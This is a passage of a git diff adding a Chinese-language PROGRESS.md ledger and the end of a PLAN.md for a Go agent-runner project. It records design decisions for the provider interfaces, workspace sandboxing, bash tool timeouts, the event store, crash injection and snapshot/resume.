tasks[]}`、 +`ForkedFrom{parent_session, barrier_id}`(fork 创世);fold 版本集 ++barriers(10→11);IndexStore 派生态不入版本集。 + +**S6 遗留 backlog 的归置**:overlap:interrupt、on_reserve_failure、 +retry backoff、best-of-N(`parallel{n}`,依赖 worktree 隔离,自然挂 +模块 3 之后)、HTTP/WS 壳、停滞失败指纹、runtime.daemon 旋钮、cron +跨重启唤醒(依赖还债包 durable timer)、task_output 进度 tail、双 +wire tool_result、series-memory UTF-8 截断——量力穿插,未做则 S7 +出口 review 再归置。 + +**完成标志(STAGES 原文,场景化)**:`s7-01-rewind`(rewind 到任意 +barrier 且 workspace 与对话一致)、`s7-02-fork-worktree`(fork 分支 +在独立 worktree 继续)、(若做云)`s7-03-cloud-rebuild`(容器销毁后 +resume 重建 workspace 继续跑)。 + +--- + +## 横切纪律 + +- **一步 = 一个可合并提交单元**(代码+测试+文档行),`scripts/check.sh` + 全绿才算完(提交与台账契约见 0.5)。 +- **stage 收口**:acceptance 场景(0.6)FAIL=0(SKIPPED 项人工检查点 + 补验)→ 三视角对抗 review → 修复 → 下一段 kickoff refinement。 + 每个后续 stage 在收口前把自己的完成标志场景化并入 + `testdata/acceptance/s/`。 +- **四个钩子验收点**:钩子 1 = 1.4(workspace 强制);钩子 2 = **2.16** + (epilogue 骨架,5.6/6.3 填实);钩子 3 = **2.4 + 2.12**(in-flight + 集合入 fold + 进程组终态);钩子 4 = 2.1–2.7(event 纪律)。每次 + stage review 显式检查未被绕过。 +- **规模预期**(Go 口径,校准信号而非承诺):S1 ≈ 1.5–2k 行 + 测试; + S2 ≈ 2.5–3k;S3 ≈ 2.5–3k;S4 ≈ 3.5–4k;S5 ≈ 3.5–4k;S6 ≈ 4.5–5k + (含 cut line 项)。单 stage 超预估 50% = 计划信号,回头审视切分。 +- **不变量变更流程**:实现中发现设计不变量站不住 → 停下该步 → 写清 + 冲突(现象、涉及不变量、备选)→ 单独 review 后改 DESIGN.md → + 再继续。禁止代码里先绕。 diff --git a/PROGRESS.md b/PROGRESS.md new file mode 100644 index 0000000..6be8c40 --- /dev/null +++ b/PROGRESS.md @@ -0,0 +1,2642 @@ +# PROGRESS — 实施决策台账(PLAN §0.5 规定) + +每步一节:状态、所做决定(凡计划未指定而自行选择的)、留给 stage +review 的 open questions。 + +## S1.0 — 工程基座 ✅ + +- **状态**:完成。go module + CLI 骨架(`--version`)+ slog 约定 + + `.golangci.yml` + `scripts/check.sh`,check 全绿。 +- **决定**: + - Go 1.24(环境预装 1.24.7,满足 PLAN 的 1.23+)。 + - golangci-lint 环境预装 **v2.5.0** → 配置用 **v2 格式** + (`version: "2"`,非 PLAN 隐含的 v1 格式);forbidigo 用 + `exclusions.rules[].path-except` 实现"只在 + internal/(kernel|state|pipeline) 生效"。 + - CLI 骨架放 `internal/cli`(`Run(args, version, stdout, stderr) int` + 可测试),main 只做转发;`run` 子命令留给 1.9。 + - 日志走 stderr(stdout 留给 run 输出),`AGENTRUNNER_DEBUG=1` 提级。 + - `.gitignore` 清理了 Python 时代残留(`__pycache__`),加编译产物。 + - errcheck 排除 `fmt.Fprint/Fprintf/Fprintln`(CLI 输出返回值检查是 + 噪音;项目级惯例)。 +- **DEFERRED**:无。 +- **Open questions**:无。 + +## S1.1 — 最小 spec loader ✅ + +- **状态**:完成。`internal/agent/spec.go` + 8 个黄金错误用例 + + 3 个正例(默认值、prompt file 解析);`specs/hello.yaml` 示例。 +- **决定**: + - 校验返回**第一个**错误(字段定义序),不聚合——黄金测试断言全文, + 单错误最稳定。 + - `model.max_tokens` 可选,默认 8192(执行包未定,取 DESIGN 示例值)。 + - `system_prompt_file` 相对路径**相对 spec 文件所在目录**解析; + 加载后内容并入 `SystemPrompt` 并清空 file 字段(下游只看一个字段)。 + - 未知 YAML 字段用 `KnownFields(true)` 严格拒绝,错误保留 yaml 库 + 原文(含行号),一样进黄金测试。 + - 空 `tools` 合法(纯对话 agent)。 + - 黄金测试带 `-update` 再生成机制。 +- **DEFERRED**:无。 +- **Open questions**:`model.provider` 目前只查非空,不查已知 provider + 名单——provider 注册表 1.3 才出现,届时是否收紧留给 stage review。 + +## S1.2 — provider 接口(最终形态) ✅ + +- **状态**:完成。`internal/provider`:归一化类型全套 + `Provider` + 接口(流式)+ `CollectTurn` + `CallID` 帮手,4 组单测含 Extras + round-trip。 +- **决定**: + - 流用 **`iter.Seq2[StreamEvent, error]`**(Go 1.23 迭代器;错误随 + 流内联,终止即停)——执行包写的 `iter.Seq`,带错误通道的 Seq2 更 + 准确,记为偏离。 + - `Part.IsError` 作为归一化的 tool_result 错误标志(线上形态由各 + provider 映射,S4 落地)。 + - `FinishReason` 枚举 S1 先放 4 个常规值(end_turn/tool_use/ + max_tokens/other),异常形态 S4 扩展——类型从第一天存在,event + 形状不变。 + - `provider.ToolDef` 是 wire 级最小定义(name/desc/schema);1.5 的 + 数据化注册表持有富定义并向下转换,避免 import 环。 + - `CollectTurn` 把 text delta 合并为单个 text part,tool_call parts + 按到达序附加(Extras 原样保留)。 +- **DEFERRED**:无。 +- **验收承诺**:本接口在 S2/S4 不再变更(1.2 的验证列)。 + +## S1.3 — Gemini provider ✅ + +- **状态**:完成。`internal/provider/gemini`:官方 genai SDK 适配、 + 流式映射、functionCall↔call_id、thoughtSignature 进出 Extras、 + usage/finish 归一化。5 组纯函数单测 + **live 冒烟已实跑通过** + (无需 DEFERRED——本环境 `.env` 有 key 且网络可达)。 +- **决定**: + - tool schema 用 SDK 的 **`ParametersJsonSchema` 直通**而非执行包 + 预设的手写 Schema converter——SDK 原生支持 raw JSON schema, + 直通严格更优(偏离已记)。 + - **默认模型改为 `gemini-flash-latest`**:执行包写的 + `gemini-2.5-flash` 在本 key 上 404(该 key 的模型清单无裸 2.5-flash, + 有 latest 别名/2.5-flash-lite/3-preview 系)。示例与测试全部 + 改用 latest 别名。 + - `CompleteRequest` 增加 `Turn` 字段(加性变更,call id 生成需要; + 不违反 1.2 的稳定承诺)。 + - Gemini 无 error 标志 → 错误结果约定为 + `functionResponse.response = {"error": …}`;对象结果直通, + 标量包 `{"output": …}`(决策 #9 的 Gemini 侧落地)。 + - live 测试自带 `.env` 加载(不覆盖已有 env),`//go:build live` + 隔离,check.sh 不编译。 +- **DEFERRED**:无。 + +## S1.3a — ScriptedProvider + 录制器 ✅ + +- **状态**:完成。`internal/provider/scripted`(序列匹配 + expect 断言 + + Done() 消费校验)与 `internal/provider/record`(Provider 中间件式 + 录制器:自动派生 expect、凭据 redaction、WriteFixture)。6 组测试 + 含录制→回放 round-trip 与 drift 检测。 +- **决定**: + - **录制器做成 Provider 中间件**而非 CLI 子命令——`record-fixture` + CLI 需要 agent loop(1.9 才有),中间件现在就可单测;CLI 接线 + 推迟到 1.9(记入其出口清单)。 + - 录制时自动派生 expect:tools 全名单 + 末条消息首个 text part 的 + 前 60 字符;redaction 覆盖 `*_API_KEY/_TOKEN/_SECRET` 的环境值。 + - scripted 的 tool_call 事件 `call_id` 可省略——默认按 + `CallID(req.Turn, index)` 铸造,手写 fixture 更省事。 + - `Expect.LastMessageContains` 对 tool_result part 也匹配其 Result + 原文(下一轮请求的"末条消息"往往是 tool 结果)。 +- **DEFERRED**:无。 + +## S1.4 — workspace 抽象 ✅(钩子 1 落位) + +- **状态**:完成。`internal/workspace`:realpath + `..` 归一 + 边界 + 检查;**不存在的路径解析最深已存在祖先**(新文件写在 out-of-tree + symlink 目录后面同样拒绝)。6 个测试覆盖 `..`/绝对路径/symlink + 已存在与新文件目标/root 自身。 +- **决定**:root 在 New 时即做 abs + EvalSymlinks(边界比较在完全 + 解析的空间里进行);错误格式按执行包 + `path escapes workspace: -> `。 +- **DEFERRED**:无。 + +## S1.5 — tool 定义即数据 ✅ + +- **状态**:完成。`internal/tool`:三个内置定义(`defs/*.json` + + go:embed)、类别标签(含预留的 wait)、注册表(启动时校验:完整性/ + 重名 panic)、`ProviderDefs` 向 wire 级转换。1.1 的 knownTools stub + 已按出口清单换成注册表(`TODO(1.5)` 关闭,unknown_tool 黄金重生成)。 +- **决定**: + - `Names()` 排序输出(embed FS 按文件名序,显式排序更稳)。 + - edit_file 语义在 schema 描述里锁定:`old` 恰好匹配一次; + **空 `old` + 不存在的 path = 创建新文件**(执行包只说了替换, + 创建语义是补充决定——没有创建能力 agent 无法新增文件)。 + - registry 校验失败用 panic(embed 的定义坏 = 程序坏,不是运行时错)。 +- **DEFERRED**:无。 + +## S1.6 — 三个 tool 实现 ✅ + +- **状态**:完成。`internal/tool/exec.go`:Executor(绑定 workspace)+ + read_file(2000 行/50KB 截断)+ edit_file(恰好一次替换,报 0/N 次; + 空 old 创建)+ bash(Setpgid、120s 默认超时、SIGTERM→5s→SIGKILL 组杀、 + 30KB 头尾截断)。9 组测试含**进程组死亡断言**(timeout 后 kill -0 + 探测组已消失)与转义拒绝。 +- **决定**: + - 统一 `Result{Payload, IsError}` 返回——tool 级错误全部是模型可见的 + error 结果(决策 #9),Go error 只留给 harness 自身故障(S1 无)。 + - bash 非零退出码 → IsError(对齐 Claude Code 行为)。 + - `cmd.WaitDelay = 2s` 解决后台子进程持有管道导致 Wait 悬挂的经典 + 问题(`bash -c 'x &'` 场景)。 + - bash 超时是墙钟(PLAN 已声明 provisional,S2.11 迁移 durable timer)。 +- **DEFERRED**:无。 + +## S1.7a — 数据目录与命名 ✅ + +- **状态**:完成。`internal/runtime/paths.go`:XDG data dir(macOS 同 + 规则)、session 目录 0700、session id(`YYYYMMDD-HHMMSS-`, + slug 30 字节小写规整)、user/project 配置路径。 +- **决定**:slug 截断按字节(超长任务名截 30 字节,UTF-8 断字符的 + 残片被过滤规则自然丢弃);空 slug 兜底为 `task`。按台账既定顺序 + 先于 1.7 执行。 + +## S1.7 — journal v0 ✅ + +- **状态**:完成。`internal/store/journal.go`:append-only JSONL、 + 0600、五种记录类型(run_meta / assistant_message / tool_call / + tool_result / run_end)、只写不读。测试验证逐行可解析、类型序、 + 权限位。 +- **决定**:行形状用 `{"type","ts","data":{…}}` **嵌套 data**(执行包 + 未定平铺 vs 嵌套;嵌套无歧义且前向可解析)。journal v0 用 + `time.Now`——store 包 S2 才进 Clock 纪律,v0 本来就会被 EventStore + 替换。 +- **DEFERRED**:无。 + +## S1.8 — agent loop ✅ + +- **状态**:完成。`internal/agent/loop.go`:turn 循环组装 provider + + tool executor + journal + Sink(turn 粒度输出接口)。4 组集成测试 + 用 ScriptedProvider:多 turn 改文件、纯文本停止、tool 错误后续跑、 + max_turns。 +- **决定**: + - loop 终止:assistant 消息零 tool call = 完成;否则并行 call 顺序 + 执行、结果合成一条 `RoleTool` 消息回填(S1 顺序执行,S4.3 才并发)。 + - `Sink` 接口把渲染与循环解耦(CLI 1.9 实现;测试传 nil)。 + - usage 逐 turn 累加进 RunResult。 + - **明确标注**:本 orchestration 是 S1 naive 版,S2.10 会重写到 + activity + fold state 之上(接口不变)——预期返工 #1 的落点。 +- **DEFERRED**:无。 + +## S1.9 — CLI run 命令 ✅ + +- **状态**:完成。`run` / `record-fixture` 子命令、`--workspace` / + `--max-turns` / `-o` 旗标、`.env` 加载(不覆盖已有 env)、textSink + turn 粒度渲染、session 创建 + journal 接线。5 组测试(scripted 端到端、 + 退出码、dotenv 语义)+ **live 手动验收通过**(真 Gemini 3 turn 修文件)。 +- **决定**: + - `record-fixture` 与 `run` 共用一条执行路径(recordMode 包装 + provider),1.3a 遗留的 CLI 接线在此关闭。 + - 人机信息(session id、run 摘要、fixture 路径)走 **stderr**, + stdout 只留 agent 输出——脚本可管道消费。 + - max_turns 停止按正常完成处理(exit 0)。 + - provider 工厂可注入(测试用 scripted 工厂);未知 provider 报 + usage 错(exit 2)。 +- **DEFERRED**:无。 + +## S1.10 — 样例 repo E2E ✅ + +- **状态**:完成。`e2e/`:samplerepo(含故意失败的测试)+ 手写 4-step + fixture(read → edit → go test → 收尾)+ 端到端测试:先断言原始 repo + 测试失败,跑完断言修复落地且 repo 自身测试转绿、fixture 全消费。 +- **决定**:testdata 放 `e2e/testdata/`(Go 惯例包内 testdata;PLAN + 写的根目录 testdata/,记为偏离);samplerepo 是独立 go module, + testdata 目录天然被 go 工具忽略;每次测试复制到 tmp,从不弄脏库内副本。 +- **DEFERRED**:live 版 E2E(真 Gemini 修 samplerepo)留 stage 出口 + 人工检查点——scripted 版已入 CI 层。 + +## S1.11 — acceptance harness v0 ✅(Stage 1 收官步) + +- **状态**:完成。`internal/accept`(场景模型/runner/plain 渲染/JSON + 报告/bubbletea TUI)+ `agentrunner accept --stage N` 子命令 + + 3 个 S1 场景(e2e-fix-file / journal-readable / workspace-escape)。 + **实跑 `accept --stage 1`:3 PASS / 0 FAIL**,report.json 生成。 +- **决定**: + - 场景 **go:embed 进 binary**(自包含,任何目录可跑);场景自带 + `files:` 段生成输入,不依赖外部 fixture 路径。 + - CLI provider 工厂加 `scripted`(`AGENTRUNNER_SCRIPTED_FIXTURE` + env)——acceptance 经真 CLI 跑 scripted fixture 的测试接缝。 + - runner 给每个场景独立 scratch dir + 独立 `XDG_DATA_HOME`,注入 + `BIN`/`SCRATCH` env;中间步必须成功,末步 exit code 归 expect 管。 + - expect 四种:exit_code / output_contains / file_contains / + journal_valid(内建逐行 JSON 校验)。 + - 非 TTY 自动降级 plain(本环境即此路径);`--plain` 可强制。 +- **DEFERRED**:TUI 的人工目视验收(本环境无 TTY)→ stage 出口检查点。 + +## Stage 1 状态:**全部 12 步完成** + +出口条件:`accept --stage 1` FAIL=0 ✅(3 PASS);journal 可读 ✅。 +待办:对抗式 stage review(PLAN 收口纪律)+ 出口人工检查点 +(TUI 目视 + live E2E)。 + +## Stage 1 出口对抗式 review ✅(三视角,35 条发现,修复批已落地) + +**修复的真缺陷**(quality/fidelity 两审):TUI 中止不再假 PASS +(`StatusAborted` + `Report.Green()` 门);acceptance 场景严格解析 +(未知键报错、每条 expect 恰一断言——空转断言不可能再出现); +`journal_valid` 要求首 `run_meta` 尾 `run_end`;Ctrl-C 经 +`signal.NotifyContext` 传导到工具进程组;bash 的取消与超时分离渲染 +(不再伪造 timeout)、done/timer 竞态偏向 done、killGroup 只认 ESRCH、 +stdout/stderr 各 15KB(合计 30KB 对齐执行包);read_file/截断不再撕裂 +UTF-8;edit_file 创建走 O_EXCL(消 TOCTOU);录制器 expect 片段过 +redaction(修密钥泄漏)、tool_call Extras 进 fixture schema;Gemini +thinking tokens 计入 output(真实计费口径);loop 失败路径 best-effort +写 `run_end{reason:error}`;record-fixture 在 run 失败时也写 fixture; +`run_meta.Version` 接通 ldflags;session id 加 4hex 熵防同秒碰撞; +dotenv 支持引号/export;provider 构造失败 exit 1(区别于未知名 exit 2)。 + +**决策修订**:max_turns 强制停止改为 **exit 1**(推翻 S1.9 的 exit 0 +——脚本/CI 不应把卡死的 agent 当成功)。 + +**记档的已知缺口**(不修,S4 处理):text part 上的 thoughtSignature +无法经 StreamEvent 携带(计划 S4 给 StreamEvent 加可选 Extras—— +加性变更);CollectTurn 以 struct 返回(语义等价执行包的四元组, +正式记为偏离);journal tool_result 多一个 name 字段(保留)。 + +**待办队列 ✅ 已清空(用户指示立即恢复,未等定时)**: +钉住测试批全部落地——请求组装 golden(`testdata/request_assembly.golden`, +S2.10 重写的行为契约)、`accept --stage 1` 进 go test(e2e 包构建真 +binary 执行,S1 完成标志可在 CI 复现)、Report.Green 门测试、scenario +严格解析测试(typo 键/空断言/双断言全拒)、journal 终态校验测试、loop +错误路径(provider 错误 → turn 包装 + 终态 run_end;journal 写失败 +中止)、record-fixture CLI 往返 + 写失败 exit 1、provider 构造失败 +退出码、gemini 转换错误表 + 空 parts 校验(新增:零 part 消息报错, +Gemini 会 400)+ Complete 流内错误、scripted 每次迭代消费一步的语义 +钉住、workspace root-symlink/兄弟前缀、bash ctx-cancel(canceled 而非 +伪 timeout + 进程组死亡断言)。新场景 **s1-04-e2e-fix-test**(经 CLI +全链路修 Go 工程失败测试,含 bash go test)入 suite——S1 acceptance +现为 4 场景。 + +**Stage 1 正式关闭**。下一步:S2 kickoff refinement。 + +--- + +## S2 kickoff refinement — DONE + +按 §0.5 惯例在进入 Stage 2 前细化步骤(只动 PLAN.md Stage 2 段, +不触 DESIGN.md 不变量)。产出:PLAN.md 新增 **S2 执行包**,把 2.1–2.17 +里所有"实现时才会遇到"的欠规格项预先钉死。关键决定: + +- **包布局**:`internal/event`(类型+注册表)、store 升级 EventStore + (journal v0 共存到 2.10)、`internal/kernel`+`internal/state` + (forbidigo 生效区)、`internal/clock`(区外,唯一 wall-clock 出口)、 + `internal/crash`(注入点注册表)。 +- **id 方案**:event id = `evt-`(append 后确定,seq per-session + 单调);command id = `cmd-<8hex>` 随机(外部输入先 journal 再消费, + 不破坏回放);activity id 确定性(`llm-t` / `tool-`), + 重试不换 id 靠 attempt 区分。 +- **文件布局**:`events.jsonl` + `lock`(flock+pid,stale 检测= + kill -0)+ `snapshots/.json`(snapshot 不进 event 流)。 +- **event 全集 14 个类型**(S3+ 只加不改),payload 独立 struct + + 注册表驱动 round-trip 测试;apply 遇未知 type 报错(拒绝静默丢失实)。 +- **崩溃注入两轨**:计数谓词 `after::`(store 层检查) + + 命名点 `point:`(`crash.Point()`);S2 注册 4 个点。 +- **错误分类学 8 类 + retry 政策**(仅 retryable,3 次,1s/4s 经 Clock)。 +- **顺序微调预授权**:2.5 可提至 2.4 后;2.6+2.7 可合并 commit。 + +Open questions 留给 stage review:kernel 的 actor 粒度(单 session +单 actor 还是 per-concern 多 actor)在 2.3 实现时按最小可用决定并记档。 + +## S2.1 event/command 类型 — DONE + +`internal/event`:Envelope(wire 形态 `{seq,id,causation_id, +correlation_id,sender,target,type,payload,ts}`)+ 14 个 payload struct ++ `Registry` 表 + `DecodePayload`(未知 type 报错)+ `ChildOf` 传播 +helper + `NewCommandID`/`EventID`。 + +**Decisions**: +- `New()` 拒绝未注册 type——事实的词汇表封闭,加类型必须过注册表。 +- round-trip 测试要求 samples 表与 Registry 等长——加 event 类型时 + 漏写测试样本会直接 fail。 +- `ts` 用 json `omitzero`(Go 1.24):未 append 的 envelope 不带 ts。 +- `WaitingEntered.Detail` 用 `json.RawMessage`(各 kind 结构不同, + S3 审批 payload 落这里)。 +- ErrorInfo 提前定义(2.8 的 journaled 形态),ActivityFailed 即用。 + +## S2.2 EventStore — DONE + +`internal/store/eventstore.go`:JSONL backend,per-session flock 独占 +写者(`ErrLocked: held by pid N`)、append = seq++/id/ts 赋值 + 单行写 ++ fsync、`ReadEvents` 免锁读、torn tail 容错(读者跳过;写者 open 时 +truncate 修复——该 event 从未被 ack,丢弃安全)。 + +**Decisions**: +- stale lock 无需 pid 探活:flock 由内核在持有者死亡时自动释放, + lock 文件里的 pid 纯为诊断信息(撞锁报错用)。执行包里的 + "kill -0 stale 检测"因此不需要——语义更强,记为简化偏离。 +- 换行结尾的坏行 = 真损坏 → 读写都响亮报错;只有无换行的尾部 + 是 torn tail(崩溃中断写)→ 修复。 +- `crashAfter()` stub 落在 store(TODO(2.6)),append fsync 成功后 + 调用——计数谓词的正确注入时点先钉住。 +- Append 失败(write/fsync)不回滚 seq:文件可能已有半行,下次 + open 会修复;marshal 失败(未写盘)回滚 seq。 + +## S2.3 kernel — DONE + +`internal/kernel`:Actor = goroutine + 64-buffer mailbox; +`Bus{Register, Subscribe, Send, Publish, Close}`;handler 返回子 +envelope,actor 负责 `ChildOf` 盖章后路由(有 Target → send, +无 → publish by type);command 按 Envelope.ID 去重;handler +error/panic → actor 标 dead + publish `ActorCrashed`(以肇事 +envelope 为 causation),不自动重启,后续 Send 报错。 + +**Decisions**: +- actor 粒度(kickoff open question):kernel 不预设,Bus 支持任意 + 个;2.10 loop 重写时按最小可用定拓扑。 +- dedup 集合在内存(非 fold):回放期的去重由 fold 天然给出, + mailbox 级 dedup 只防运行期重复投递。 +- mailbox 满时 send 持锁阻塞——原型级死锁风险,记档;S6 服务化 + 若需要再换无锁投递。 +- 子 envelope 路由失败(目标不存在/已死)按 crash 处理——静默 + 丢子事实不可接受。 +- forbidigo 从本步起在 internal/kernel 生效(测试也不用 sleep, + 全部靠 channel 同步 + mailbox FIFO 序断言)。 + +## S2.4 fold/state — DONE + +`internal/state`:`State{Conversation, Activities, Waiting, Timers, Run}` ++ `SubStateVersions()`(全部 v1,入 RunStarted 与 snapshot 头); +`Apply` 纯函数(copy-on-write helpers,输入 state 永不变);`Fold` = +从空态折叠。in-flight Activities 集合 = 钩子 3 落位(resume 时非空 +即 in-doubt 信号);Timers = 未 fired 集合(2.11 resume 重调度依据); +Conversation 含 `ToolResults` map by call_id(2.10 assembly 的读取面)。 + +**Decisions**: +- **第五个 sub-state `timers`**(执行包只列了四个):2.11 resume 需要 + 从 fold 读未 fired timer,归入 waiting 或 run 都语义不合,独立命名 + 空间最干净。记为对执行包的加性偏离。 +- ActivityFailed 一律移出 in-flight(该 attempt 已终结;retry 由新 + Started 重新加入)——in-doubt 语义因此简单:resume 时 in-flight + 非空 = Started 无终态。 +- tool result 进 Conversation 的条件 = in-flight 里查到 kind=tool 且 + 有 call_id(不解析 activity_id 字符串)。 +- `TestApplyCoversRegistry`:Registry 每个类型零值过 Apply,漏写 + fold case 直接红——event 词汇表与 fold 的漂移在 CI 抓。 +- `RunEnded` 把 `Run.Turn` 设为最终 turns(与 TurnStarted 同字段)。 + +## S2.5 调试工具 — DONE(按预授权提前至 2.4 之后) + +`agentrunner events [--state] [--json]`:美化 +打印(seq/ts/type/compact payload 截断 100)、`--state` fold 转储 +(缩进 JSON)、`--json` 原样 JSONL;session id 接受唯一前缀,歧义时 +列出候选。`internal/state/statetest.AssertFoldEqual`:按命名空间 +JSON 对比,**归一化**(空 map/slice、显式 null、缺键三者等价—— +snapshot JSON round-trip 不得算分歧),失败报出具体 sub-state。 + +**Decisions**: +- AssertFoldEqual 放独立子包 `statetest`(不进生产依赖面)。 +- events 的 bool flag 支持位置参数后置(partition 后再 Parse, + stdlib flag 遇首个非 flag 即停)。 +- `resolveSessionDir` 为 2.17 `sessions list`/`resume` 预留复用。 + +## S2.6+2.7 崩溃注入 harness + journal-inputs-first — DONE(按预授权合并) + +`internal/crash`:两轨注入(`after::` 计数谓词,挂在 +EventStore.Append fsync 之后;`point:` 命名点);S2 四个点注册 +(`after_journal_input`/`after_exec_before_journal`/`after_snapshot_write` +/`before_run_end`);注册表封闭——未注册名 Point() panic、 +`TestRegistryPinsS2Points` 钉死名单(删点即红);malformed env panic。 +`runtime.IngestInput`:外部输入先 append(fsync)再消费,journaled +fact 以 cmd-id 为 causation。 + +**验证**:真子进程 harness(helper-process 模式)——armed 谓词处 +exit 137;kill 后 ReadEvents 输入仍在、flock 随进程死亡自动释放、 +store 可直接 reopen(2.7 崩溃场景 + harness 自测一体)。 + +**Decisions**: +- exit code 137(模拟 SIGKILL);`exit` var 可换(白盒测计数逻辑), + 子进程测试用真 os.Exit。 +- 谓词 env 解析 sync.Once 缓存(进程内不变)。 +- crash 包无 store 依赖(store → crash 单向)。 + +## S2.8 错误分类学 — DONE + +`internal/errs`:8 类(执行包清单)+ `Class.Retryable()`(仅 +rate_limit/server/timeout)+ `Error{Class,Msg,Err}` 可 wrap/Unwrap + +`ClassOf`(errors.As 提取,context 哨兵映射 canceled/timeout,默认 +internal)+ `FromHTTPStatus`(429/5xx/401·403/4xx)。gemini 适配器 +stream 错误经 `classify()` 上分类(genai.APIError 值类型 errors.As)。 + +**Decisions**: +- 传输层错误(非 APIError、非 context)分类为 `provider_server` + ——连接重置类故障值得重试,比 internal 更符合语义。 +- 分类学放 `internal/errs` 独立包(计划说 provider/base;provider + 包本身不该带分类政策,tool/timeout 类也要用——记为位置偏离)。 +- ErrorInfo(event payload)与 errs.Error 的桥接留给 2.10 + (`ErrorInfo{Class: string(errs.ClassOf(err)), Retryable: ...}`)。 + +## S2.9 Clock 抽象 — DONE + +`internal/clock`:`Clock{Now, WaitUntil(ctx, t)}`;`Real`(生产)、 +`Fake`(手动 `Advance(d)`,按到期先后唤醒 waiter;`Waiters()` 供测试 +同步)。过去目标立即返回;ctx 取消返回 ctx.Err()。48h 审批挂起场景 +(3.5)一次 Advance 快进验证。 + +**Decisions**: +- 接口只两个方法——`Sleep` 不提供,一切等待都以绝对时刻表达 + (durable timer 的 `fire_at` 语义;相对时长在 resume 后会漂移)。 +- `Fake.Waiters()` 暴露 parked 数供测试无 sleep 同步(spin+Gosched)。 +- clock 包在 forbidigo 区外,是唯一合法 wall-clock 出口。 + +--- + +## S2.10 activity 执行器 + loop 重写主体 — DONE + +S2 的核心步。`internal/agent/activity.go`:ActivityExecutor——一切 +副作用的唯一通道:`ActivityStarted`(先落盘)→ 执行 → 终态落盘; +`crash.Point(after_exec_before_journal)` 卡在执行成功与终态落盘之间 +(2.15 in-doubt 窗口);通用 retry/backoff(1s/4s 经 Clock,仅 +Retryable 类,3 attempts,每 attempt 独立 Started/Failed 对); +`DiscardOnRetry` 接缝(S4 TurnDiscarded);`Progress` 字段(S4/S6 +ephemeral 通道,S2 不用);args/results/错误消息全部过凭据 redaction +(新 `internal/redact` 包,`*_API_KEY/_TOKEN/_SECRET`)。 + +`loop.go` 重写:fold state 驱动——`decide(state, maxTurns) → action` +是唯一决策函数(doTurn/doLLM/doTool/doEnd),resume 用同一函数天然 +续跑;`assembleMessages(state)` 从 Conversation.Messages + ToolResults +组装请求(**golden 测试未动一字节通过**——重写行为契约兑现); +appendE = journal+fold 单写入路径,causation 线性链;LLM/tool 全走 +执行器;`before_run_end` 注入点落位;journal v0 删除(store/journal.go +及全部写入),events.jsonl 即 source of truth。 + +**迁移面**:CLI run 开 EventStore(传 SessionID/Version/Real clock); +acceptance `journal_valid` → `events_valid`(检查 envelope 形态 + +seq 无缝隙 + run_started 首 / run_ended 尾);场景 s1-02 改名 +events-readable;e2e/loop 测试全部迁 EventStore;S1 集成测试在新 +loop 上全绿。 + +**Decisions**: +- causation 链 = 线性(每 event 因于前一 event);kernel actor 拓扑 + 暂不接入 loop(2.3 的 Bus 待 2.14+/S6 按需接),记 open question。 +- LLM activity 标 `idempotent: true`(重跑安全,费用非正确性问题); + tool 按 class:read=true,edit/execute=false(S3 细化)。 +- tool 的 isError 结果 = 活动成功(模型可见错误),不是 activity + 失败——不触发 retry。 +- LLM activity 的 Result 留空(消息走 AssistantMessage event), + usage 挂 ActivityCompleted。 +- 模型可见的 tool 结果也过 redaction(fold ToolResults 存的是 + redacted 版)——凭据不该回流进上下文,记为行为变更。 +- state.addUsage 补 CacheWriteTokens(S1 会计口径 bug,顺手修)。 + +## S2.11 durable timer — DONE + +executor 每 attempt 可挂 `Activity.Timeout`:`TimerSet`(fire_at 绝对 +时刻)落盘 → WaitUntil goroutine 只发信号(**所有 append 留在 executor +goroutine**,无并发写)→ 到期 `TimerFired` 落盘 + runCtx 以 +`errs.ErrActivityTimeout` 为 cause 取消;先完成则 `TimerCancelled`。 +bash 墙钟超时迁移完成:tool.Executor 不再持有 timer(BashTimeout 字段 +删除),按 `context.Cause` 区分 timed_out/canceled;loop 给 execute +类 tool 配 120s(常量归 agent 层)。`FirePendingTimers`:resume 扫 +fold 未 fired timer,过期即刻 fire、未到期返回给 owner 重挂(2.13 用)。 + +**Decisions**: +- **新 event 类型 `timer_cancelled`**(S2 全集 14→15 的加性偏离): + 没有它,先完成的 activity 会在 fold 留 stale pending timer,resume + 会误触发。 +- LLM 超时错误重分类:timer fired + Run 报 canceled → errs.Timeout + (retryable);tool 超时是模型可见 IsError 结果(活动成功),与 S1 + 行为一致,不触发 retry。 +- timer id 确定性:`tm--a`。 + +## S2.12 进程组取消 — DONE + +executor:非超时的 ctx 取消 → 等 run 有界 drain(bash killGroup:组 +SIGTERM→5s 宽限→SIGKILL,ESRCH 确认组亡;WaitDelay 2s 兜底管道)→ +**组退出后才落** `ActivityCancelled{partial_output}`(过 redaction)→ +返回 canceled 类错误;挂着的 timer 先 TimerCancelled 清掉,不伪造 +timeout。loop.abort 区分 reason:canceled 类 → `run_ended{canceled}` +(中断 ≠ 失败)。孤儿断言基础设施:`tool.SessionEnvVar` +(AGENTRUNNER_SESSION=)标记 bash 子进程,CLI 注入 sessionID; +测试按 marker 扫 /proc(定向查找,不 grep 全局 ps),后台孙进程 +一并断言死亡。 + +**Decisions**: +- ActivityCancelled 仅由"上层取消"触发;timeout 走 completed(tool) + /failed(llm)路径——三种终态语义互斥。 +- partial_output 存 string(event payload 已定 string 字段),tool + 结果 JSON 原样入内。 + +## S2.13 snapshot-resume — DONE + +`store/snapshot.go`:`snapshots/.json`(0600,temp+rename +原子写,`after_snapshot_write` 注入点);头含 sub_state_versions。 +loop 在每个 turn 边界(TurnStarted 落盘后)写 snapshot。`Loop.Resume`: +最新 snapshot + seq 尾部 apply(无 snapshot 则全量 fold)→ 版本不 +匹配拒绝(集合与逐版本都查)→ 已 ended 报错并附结果 → timer 扫 +(`FirePendingTimers`)→ 进同一个 `drive()` 决策循环。Run/drive +重构:appendE/fold 状态收进 `driveState`,Run 与 Resume 共享 drive。 + +**验证**:真子进程崩溃场景——`after:turn_started:2` 处 kill(turn 1 +的 read+edit 已落盘),父进程用**只含剩余 turn 的 fixture** resume: +任何 turn 1 重跑都会 drift/exhaust;断言 llm-t1 恰好 Started 一次、 +2 turns 完成、文件改动幸存、log 以 run_ended 收尾。等价性质:真实 +loop 产物上 fold(snapshot+尾)== fold(全量)(AssertFoldEqual)。 + +**Decisions**: +- snapshot 是优化不是事实源:丢失只导致更长的 fold。 +- resume 时未到期 timer 不重挂(owner activity 重跑时自会重挂), + 过期的即刻 fire。 +- Resume 对已 ended session 返回结果 + error(CLI 可打印结果并退出)。 + +## S2.14 等待状态注册表 — DONE + +`agent/waiting.go`:`WaitRules` 